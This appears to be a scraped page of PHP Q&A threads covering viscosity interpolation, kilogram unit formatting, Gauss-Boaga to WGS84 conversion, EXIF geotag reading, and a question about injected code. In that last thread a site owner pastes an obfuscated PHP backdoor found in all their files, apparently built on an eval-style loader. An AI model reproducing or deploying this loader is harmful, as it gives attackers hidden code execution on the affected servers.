polygon matrix calculation for viscosity matrix - php

I am writing a program which needs different value of gas viscosity at different temperature for respective gases. Data which i have is given below. I am new in programming in php . can anyone please give me the logic behind it. so that i can get viscosity at any required tempertaure through the program. thanks
Data for viscosity calculation (dyn. visc. [Ns/m² = kg/ms]; Source: VDI Wärmeatlas
Temp. [°C] 0 100 200 300 400 500
CO2 1,37E-05 1,82E-05 2,22E-05 2,59E-05 2,93E-05 3,24E-05
O2 1,92E-05 2,43E-05 2,88E-05 3,29E-05 3,67E-05 4,03E-05
H2O 9,00E-06 1,25E-05 1,61E-05 1,97E-05 2,33E-05 2,69E-05
N2 1,66E-05 2,09E-05 2,47E-05 2,82E-05 3,14E-05 3,42E-05

You can easily fit your data in Excel. Here's a plot that shows the result, along with the 2nd order polynomial:

Finally I got the right answer. In case if anyone need it, I am posting it out here:
class baseViscosityCalc {
public $arViscosity = array(
array(0, 1.37e-05, 1.92e-05, 9.00e-06, 1.66e-05),
array(100, 1.82e-05, 2.43e-05, 1.25e-05, 2.09e-05),
array(200, 2.22e-05, 2.88e-05, 1.61e-05, 2.47e-05),
array(300, 2.59e-05, 3.29e-05, 1.97e-05, 2.82e-05),
array(400, 2.93e-05, 3.67e-05, 2.33e-05, 3.14e-05),
array(500, 3.24e-05, 4.03e-05, 2.69e-05, 3.42e-05)
);
public function getViscosityData($DCat) {
$arValue = array(
'Temperature' => 0.0,
'CO2' => 0.0,
'O2' => 0.0,
'H2O' => 0.0,
'N2' => 0.0
);
for ($i = 0; $i < count($this->arViscosity); $i++) {
$arValue['Temperature'] = $DCat;
if ($DCat < $this->arViscosity[0][0]) {
$arValue['CO2'] = $this->arViscosity[0][1];
$arValue['O2'] = $this->arViscosity[0][2];
$arValue['H2O'] = $this->arViscosity[0][3];
$arValue['N2'] = $this->arViscosity[0][4];
break;
}
if ($DCat > $this->arViscosity[count($this->arViscosity) - 1][0]) {
$arValue['CO2'] = $this->arViscosity[count($this->arViscosity) - 1][1];
$arValue['O2'] = $this->arViscosity[count($this->arViscosity) - 1][2];
$arValue['H2O'] = $this->arViscosity[count($this->arViscosity) - 1][3];
$arValue['N2'] = $this->arViscosity[count($this->arViscosity) - 1][4];
breaK;
}
if ($DCat > $this->arViscosity[$i][0] && $DCat < $this->arViscosity[$i + 1][0]) {
$factor = ($DCat - $this->arViscosity[$i][0]) / ($this->arViscosity[$i + 1][0] - $this->arViscosity[$i][0]);
$arValue['CO2'] = $factor * ($this->arViscosity[$i + 1][1] - $this->arViscosity[$i][1]) + $this->arViscosity[$i][1];
$arValue['O2'] = $factor * ($this->arViscosity[$i + 1][2] - $this->arViscosity[$i][2]) + $this->arViscosity[$i][2];
$arValue['H2O'] = $factor * ($this->arViscosity[$i + 1][3] - $this->arViscosity[$i][3]) + $this->arViscosity[$i][3];
$arValue['N2'] = $factor * ($this->arViscosity[$i + 1][4] - $this->arViscosity[$i][4]) + $this->arViscosity[$i][4];
break;
}
}
return $arValue;
}
}

Related

PHP Convert any kg amount to a readable metric unit

I am trying to create a mathematical function (in PHP) that will take a given number of Kg, and convert them to a readable form or better yet, return the unit best suited for that amount. The input will always be kg. Preferably log.
For example:
5 kg = (5) kg
0.5 kg = (500) gm
1000 kg = (1) tonne
0.001 kg = (1) gm
0.0001 kg = (100) mg
I know there is a way to do it using log or log10 functions but I cannot figure it out.
How could it be done?
I think something like this should work, but I'm sure there are people who can make a much better solution.
function outputWeight($kg)
{
$power = floor(log($kg, 10));
switch($power) {
case 5 :
case 4 :
case 3 : $unit = 'ton';
$power = 3;
break;
case 2 :
case 1 :
case 0 : $unit = 'kilogram';
$power = 0;
break;
case -1 :
case -2 :
case -3 : $unit = 'gram';
$power = -3;
break;
case -4 :
case -5 :
case -6 : $unit = 'milligram';
$power = -6;
break;
default : return 'out of range';
}
return ($kg / pow(10, $power)) . ' ' . $unit;
}
echo outputWeight(0.015) . '<br>';
echo outputWeight(0.15) . '<br>';
echo outputWeight(1.5) . '<br>';
echo outputWeight(15) . '<br>';
echo outputWeight(150) . '<br>';
The idea is that you can easily extend the range. This will output
15 gram
150 gram
1.5 kilogram
15 kilogram
150 kilogram
I did not thoroughly test this code!
After playing with it for a while, here is what I came up with
function readableMetric($kg)
{
$amt = $kg * pow(1000, 3);
$s = array('mcg', 'mg', 'gm', 'kg','tonne');
$e = floor(log10($amt)/log10(1000));
return [
"amount" => $amt/pow(1000, $e),
"unit" => $s[$e]
];
}
The following function internally uses an array with the assignments unit => conversion-factor. This array can easily be expanded or modified to meet your own requirements. A fixed limit of 1000 is used in the function. This means that the output value is always less than 1000, with the exception of tons. With an additional argument which is preset to 2, the number of maximum decimal places can be changed.
function scaleKg(float $kg, int $decimalPlaces = 2) : string {
$scale = [
'micrograms' => 1.E9,
'milligram' => 1.E6,
'gram' => 1.E3,
'kilogram' => 1,
'ton' => 1.E-3,
];
foreach($scale as $unit => $factor){
$mass = $kg * $factor;
if($mass < 1000) {
return round($mass,$decimalPlaces).' '.$unit;
}
}
return round($mass,$decimalPlaces).' '.$unit;
}
Some examples:
$kg = 1.212345;
echo scaleKg($kg); //1.21 kilogram
$kg = 455;
echo scaleKg($kg); //455 kilogram
$kg = 0.0456;
echo scaleKg($kg); //45.6 gram
$kg = 23456;
echo scaleKg($kg); //23.46 ton
$kg = 23489000;
echo scaleKg($kg); //23489 ton
$kg = 167E-6;
echo scaleKg($kg); //167 milligram
I find myself agreeing with Kiko that the shortest code isn't always the best or most readable.
Bearing that in mind bringing log into it seems like unnecessary complication. So I suggest a condensed version of my original code:
function readableMetric($mass)
{
$units = [
-3 => "tonne",
0 => "kg",
3 => "g",
6 => "mg",
];
foreach ($units as $x => $unit) {
if ( ($newMass = $mass * 10 ** $x) >= 1 ) {
return "{$newMass} {$unit}";
}
}
}
This is more extensible (e.g. you could easily add centigram)
The math is intuitive to most (powers of 10)
If you really want to golf it you can shrink it down to a one liner:
function readableMetric($m)
{
foreach([-3=>"tonne",0=>"kg",3=>"g",6 =>"mg"] as $x=>$g)if(($n=$m*10**$x)>=1)return"$n $g";
}
Original Answer
You could just do it with a series of if / else statements?
$values = [
5, 0.5, 1000, 0.001, 0.0001
];
function convertmass($mass) : string
{
if ($mass >= 1000) {
return ($mass / 1000) . " ton";
}
elseif ($mass < 0.001) {
return ($mass * 1000000) . " mg";
}
elseif ($mass < 1) {
return ($mass * 1000 ) . " g";
}
else {
return $mass . " kg";
}
}
foreach ($values as $mass) {
echo convertmass($mass), PHP_EOL;
}
Output:
5 kg
500 g
1 ton
1 g
100 mg
If you want slightly easier/more readable/more user friendly updating to add new measurements in then you can do something like this instead:
$values = [
5, 0.5, 1000, 0.001, 0.0001
];
function convertmass($mass) : string
{
$massLookup = [
[ "unit" => "kg", "min" => 1, "max" => 1000, "multiple" => 1],
[ "unit" => "tonne", "min" => 1000, "max" => 1000000, "multiple" => 0.001],
[ "unit" => "g", "min" => 0.001, "max" => 1, "multiple" => 1000],
[ "unit" => "mg", "min" => 0.000001, "max" => 0.001, "multiple" => 1000000],
];
foreach ($massLookup as $unit) {
if ($mass >= $unit["min"] && $mass < $unit["max"]) {
return ($mass * $unit["multiple"]) . " {$unit["unit"]}";
}
}
return "Measurement {$mass} kg is out of range";
}
foreach ($values as $mass) {
echo convertmass($mass), PHP_EOL;
}

Gauss-Boaga to WGS84

I'm trying to convert some coordinates from Gauss-Boaga to WGS84. Here's what I've done (PHP):
function gaussToLatLng($Eutm, $Nutm){
// parametri che dipendono dal fuso ovest
$l0 = 9;
$fraz = $Nutm/111092.0821;
echo "$fraz ";
$A= $fraz +
(0.1449300705 * sin(deg2rad(2*$fraz))) +
(0.0002138508 * sin(deg2rad(4*$fraz))) +
(0.0000004322 * sin(deg2rad(6*$fraz)));
$v = sqrt(1 + (0.0067681702 * cos(deg2rad($A)) * cos(deg2rad($A)) ) );
$y = $Eutm - 500000;
$B = rad2deg(atan( ($v * sinh(deg2rad($y/6397376.633)) ) / cos(deg2rad($A))));
$lng = rad2deg(atan(tan(deg2rad($A)) * cos(deg2rad($v * $B))));
$lat = $B + $l0;
echo "A=$A, B=$B \n";
return array(
'lat' => $lat,
'lng' => $lng
);
}
Using as input (1517140, 5036970), I get (9.2271558768758 45.485183518206) while with this online tool I calculated that I should have (9.2189597, 45.4859253) (about 1 Km of difference).
Could you help me spot the error in my code?
Solved using a PHP library: proj4php, using the definition for Gauss Boaga fuso Ovest found here.
Those guys are awesome!

What exactly does this PHP exploit code

This exploit was in the header of all my PHP files on my server...any ideas what it does ?
Do you know how to batch remove it?
<?php
$hngctorffh = 's%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udx5c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c6]234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5c%x7825bss%x57822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-uyfu%x5%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjud<*QDU%x5c%x7860MPT7-NB**^#zsfvr#%x5c%x785cq%x5c%x7825)uftt%x5c%x7860{66~6<&w6<%x5c%x75c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x782%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x56]61]y33]68]y34]68]y33]257>%x5c%x782f7&6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81],*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827FSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x78&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%)54l}%x5c%x7827;%x5c%x7825!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]yj%x5c%x7822)gj6<^#Y#%x5%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x7860msvd},56#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x0QUUI7jsv%x5c%x78257UFH#%x5c%x7827rf%x782f7^#iubq#%x5c%x785cq%x5c%x7825%825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x5c%x78786<C%x5c%x7827&6<*rfstmfV%x5c%x787f<*XAZASV<*w%xz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6dx78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5c%445]43]321]464]284]364]ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P82f},;#-#}+;%x5c%x7825-qp%x5c%x7825uhofm%x5c%x7825:-5ppde:4:|:**#ppde25%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x556]y78]248]y83]256]y81]265]y72]254]y7~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x78c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x7r.985:52985-t.98]K4]65]D8]86]5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%x787fw6*%x*0f(-!#]y76]277]y72]265]y39]271]y83]2h%x5c%x7825%x5c%x782f#0#%x5c%x782f*#npd7822#)fepmqyfA>2b%x5c%825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{function fjfgg($n){return ch0hA%x5c%x7827pd%x5c%x7825!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]275~<#%x5c%x782f%x5c%x7825%x5c%<#64y]552]e7y]#>n%x5c%x7825<#37fw6*3qj%x5c%x78257>%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787f*#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x78;ldpt%x5c%x7825}K;%x5c%<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7ussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x7860439275tt65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82]y<%x5c%x7825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%825)n%x5c%x7825-#+I#)q%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7823:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN77]D4]82]K6]72]K9]78]K5]53]Kc#7825mm)%x5c%x7825%x5c%x7878:-!%x55)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeo787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tu87f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%25>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x78x5c%x7825ww2!>#p#%x5c%x782f#p#%x5c%x782f%x5c8256<%x5c%x787fw6*%x5cy]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3ox7824]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,^%x5c%x782f%x5c%x7825r%x5c%x7c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%#)tutjyf%x5c%x78604%x5c%x78223}!+!<+{ex782f#M5]DgP5]D6#<%x5c%x7825fdy>60%x5c%x785c^>Ew:Qb:Qc:W%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!*y84]275]y83]273]y76]277#<%x5c%x782584]275]y83]248]y83]256]y81]265]y72]254]y76#<%x5c%x7825tmw!>!#]5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x78TQcOc%x5c%x782f#00#W~!Yx5c%x7827&6<%x5c%x787fw6*%x5c%xef)#%x5c%x7824*<!%x5c%x7825kj:!**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*o%76%x21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]6utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x782f25fdy<Cb*[%x5c%x7825h!>!%x5c%x78g}%x5c%x7878;0]=])0#)U!%5c%x782f#7e:55946-tr.984:75983:48984:71]K9]x5c%x7825ggg)(0)%x5c%x782f+%x5c%x7825j>1<%x5c%x7825j=6[%58]y6g]273]y76]271]y7d]252]y74]2;uqpuft%x5c%x7860msvd}+;!>!}%x5*WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%6<pd%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x782525!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x8]y76#<%x5c%x78e%x5c%x78b%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:>q%x5c%x7825<#762]67y]562]38y]572]4825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>h%x5c%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x78275597f-s.973:8297f:5297e:56-%x5c%x7878x7860QUUI&b%x5c%x7825!|!*)323zbek!7825>%x5c%x782fh%x5c%x7825:0%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x78HB%x5c%x7860SFTV%x5c%sbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%xx2c%163%x74%162%x5f%163%x70%154%x69%164%7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x750%x22%134%x78%62%x35%165%x3a%146%x21mg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c%x782x7860ufldpt}X;%x5c%x7fsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!c%x7824-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5]37]278]225]241]334]368]322]3]364]6]283]427]36]373P6]36]73]8mgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x78253Ld]53]Kc]55Ld]55#*<%xc%157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61%160%x28%42%x6ovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5C%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*)fepdof.)fepdof.%x5c%x7x7825!<*qp%x5c%x7825-*.%27;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjudovx5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257w6Z6<.3%x5c%x7860hA%x5c%x7827pd%x5c%x782x7878B%x5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:825w:!>!%x5c%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x78622)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x78x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:f:opjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x78242178}527}88:}3gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!sr(ord($n)-1);} #error_reporting(0); preg_rep~!%x5c%x7825z!>2<!gps)5c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bdj%x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x782f7###7%x5cx5c%x7825:osvufs:~928>>%!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825fdyfbuf%x5c%x7860gvodujpo)##-!#;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x78#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tddrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%%x5c%x7825-#1GO%x5c%x76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73", NULL); }25V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%ofuopd%x5c%x7860ufh%x5c%x7860fmjg}[5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOF25!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tA%x5c%x7827doj%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!~!dsc%x7825z>3<!fmtf!%x5c%x5c%x7825)euhA)3of>2bd%x5c%x7825!<582f###%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)eobsx7824-%x5c%x7824!>!fyqmp825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c%x34}472%x5c%x7824<!%x5c%x7825mm!>!#]y81]273]y76]2x5c%x7827{**u%x5c%x7825-c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctus)%7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825_t%x5c%x7%x7825z<jg!)%x5c%x7825z>>2*!%x556<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd%x5c%x78256<opjudovg)!gj!|!*msv%x5c%x7825)}k%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;5c%x7825tzw>!#]y76]277]y72]265]y39]274]y85]273]y6g]273],*!|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%xsvmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfopmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272q]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x860msvd}R;*msv%x5c%x7825)}.;c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjA)qj3hc%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860c5)!gj!~<ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubc%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827if((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!72]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#25<#g6R85,67R37,18R#>q%x5c%x78x78257-C)fepmqnjA%x5c%x7827&6<.fmjgy31]278]y3f]51L3]84]y31M6]y3e]81#%xH*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825isset($GLOBALS["%x61%156%x75%156%x61"])))) { ,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x787f_*#ujojRk3%x55c%x7824-%x5c%x7824-!%x5c%x78]281Ld]245]K2]285]Ke]5#%x5c%x782f#%x5c%x7825#%x5c%x782f#olace("%x2f%50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%160%x6bz+sfwjidsb%x5c%x7860bj+upcotn+qx7825z>2<!%x5c%x7825fmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x78sq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tp#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2pV%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787f<u%x5c%x7c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%87fw6*CW&)7gj6<*doj%x5c%$GLOBALS["%x61%156%x75%156%x61"]=1; fx7825)utjm6<%x5c%x783]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5~~~<ftmbg!osvufs!|ftmf!~<foopdXA%x5c%x7822)7gj6%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x7825b:<!%x5c%x7825c:>%x5x5c%x7878{**#k#)tutjyf%x5c%x786y76]271]y7d]252]y74]256]y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQe%x7825tmw)%x5c%x7825tww*7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7tfs%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5c%x76%152%x66%147%x67%42%}#-!tussfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x5cc%x785csboe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**c%x7825s:%x5c%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x78/(.*)/epreg_replacevgtceydjcr';
$gifkmxealv = explode(chr((199 - 155)) , '8313,61,8565,45,9241,37,1894,27,6112,44,8832,69,5398,63,9922,21,4851,40,4927,37,3901,54,4377,32,5822,57,1921,25,4260,69,5718,40,7551,58,5516,42,726,41,9278,20,7417,37,483,64,1072,28,7641,49,3955,48,962,36,0,66,9440,22,286,22,660,66,2121,23,8013,56,7860,65,6242,62,998,36,5662,56,308,36,843,23,9148,69,1175,42,344,27,9217,24,8459,35,6917,21,3258,22,9348,67,8249,64,9784,70,1695,62,8725,21,3116,44,3786,31,2953,52,6740,35,2256,23,5093,21,7985,28,866,54,4189,31,2144,70,1946,64,7609,32,9415,25,8205,44,5334,42,6328,47,6819,44,9854,68,2720,49,8108,50,3848,53,8953,46,4484,66,4964,63,3540,57,2214,42,5879,66,6178,64,6613,21,1833,22,5581,24,7024,35,1794,39,4550,62,608,52,5558,23,7059,62,5027,66,2899,54,8901,32,7796,64,8999,51,5162,46,6060,52,4798,53,6775,44,4777,21,4649,34,1569,56,4329,48,180,63,1625,41,3005,64,7203,37,6462,37,1413,34,767,27,2474,56,6304,24,2530,57,5114,48,1447,34,3446,38,243,43,5461,55,8069,39,9097,51,1855,39,1100,27,3694,69,3160,54,8429,30,6687,53,9530,31,4710,67,5605,57,4034,24,7345,24,9050,47,8797,35,7925,60,7690,55,9561,69,3632,62,3597,35,2010,53,7454,66,1034,38,4683,27,2279,36,2315,36,2691,29,1217,53,5945,52,2091,30,8374,55,4448,36,3280,46,5997,63,7297,48,4157,32,920,42,8746,29,1481,51,7369,48,66,56,416,44,5208,66,3397,49,3326,42,7745,51,9722,62,6938,64,6434,28,2063,28,7121,24,3817,31,794,49,2769,67,9943,44,9630,68,3763,23,6555,58,6863,54,2351,55,8529,36,8158,47,7145,58,9698,24,4220,40,5758,64,4612,37,1666,29,8494,35,4058,43,2836,30,2634,57,3484,32,6499,56,1127,48,8775,22,5376,22,371,45,4003,31,6375,59,1356,57,5274,60,9298,50,1270,23,122,58,9987,66,3368,29,7240,57,4891,36,4409,39,8610,58,9462,68,10053,53,3516,24,6156,22,4128,29,3214,44,7520,31,7002,22,8933,20,1293,63,2866,33,2406,68,8668,57,547,61,3069,47,4101,27,1757,37,1532,37,460,23,2587,47,6634,53');
$jqasilvkah = substr($hngctorffh, (70221 - 60115) , (46 - 39));
if (!function_exists('dkoxpnkcvz'))
{
function dkoxpnkcvz($uquevssmbb, $gbjfyuptqv)
{
$rafkiwpxdo = NULL;
for ($bjfdqjrsbp = 0; $bjfdqjrsbp < (sizeof($uquevssmbb) / 2); $bjfdqjrsbp++)
{
$rafkiwpxdo.= substr($gbjfyuptqv, $uquevssmbb[($bjfdqjrsbp * 2) ], $uquevssmbb[($bjfdqjrsbp * 2) + 1]);
}
return $rafkiwpxdo;
};
}
$jbwtpislvw = "\x20\57\x2a\40\x68\157\x7a\165\x61\154\x68\162\x6a\165\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\62\x37\55\x39\60\x29\51\x2c\40\x63\150\x72\50\x28\66\x33\60\x2d\65\x33\70\x29\51\x2c\40\x64\153\x6f\170\x70\156\x6b\143\x76\172\x28\44\x67\151\x66\153\x6d\170\x65\141\x6c\166\x2c\44\x68\156\x67\143\x74\157\x72\146\x66\150\x29\51\x29\73\x20\57\x2a\40\x7a\164\x65\144\x70\145\x73\170\x77\147\x20\52\x2f\40";
$clpjwpghsa = substr($hngctorffh, (42911 - 32798) , (54 - 42));
$clpjwpghsa($jqasilvkah, $jbwtpislvw, NULL);
$clpjwpghsa = $jbwtpislvw;
$clpjwpghsa = (471 - 350);
$hngctorffh = $clpjwpghsa - 1;
?>

Reading Geotag data from image in php

Does anyone know if there is a way to read geotag data from photos in PHP?
Thanks
Like everyone else has said, exif_read_data(); will do it.
To go ahead and get all of the data, use these args:
exif_read_data($img, 0, true); // where $img is the path to your image
This function can only read headers from tiffs and jpegs and I'm pretty sure only jpegs may contain geotags. I've written a simple php script for use in the command line and posted it as a gist on github.
Run the script like this: php exif.php
It will echo out an array. Look for the coordinates here:
[GPS] => Array
[GPSLatitudeRef] => N
[GPSLatitude] => Array
[0] => 30/1
[1] => 1589/100
[2] => 0/1
[GPSLongitudeRef] => W
[GPSLongitude] => Array
[0] => 87/1
[1] => 3609/100
[2] => 0/1
[GPSAltitudeRef] =>
[GPSAltitude] => 18289/454
[GPSTimeStamp] => Array
[0] => 20/1
[1] => 22/1
[2] => 2065/1
[GPSImgDirectionRef] => T
[GPSImgDirection] => 34765/689
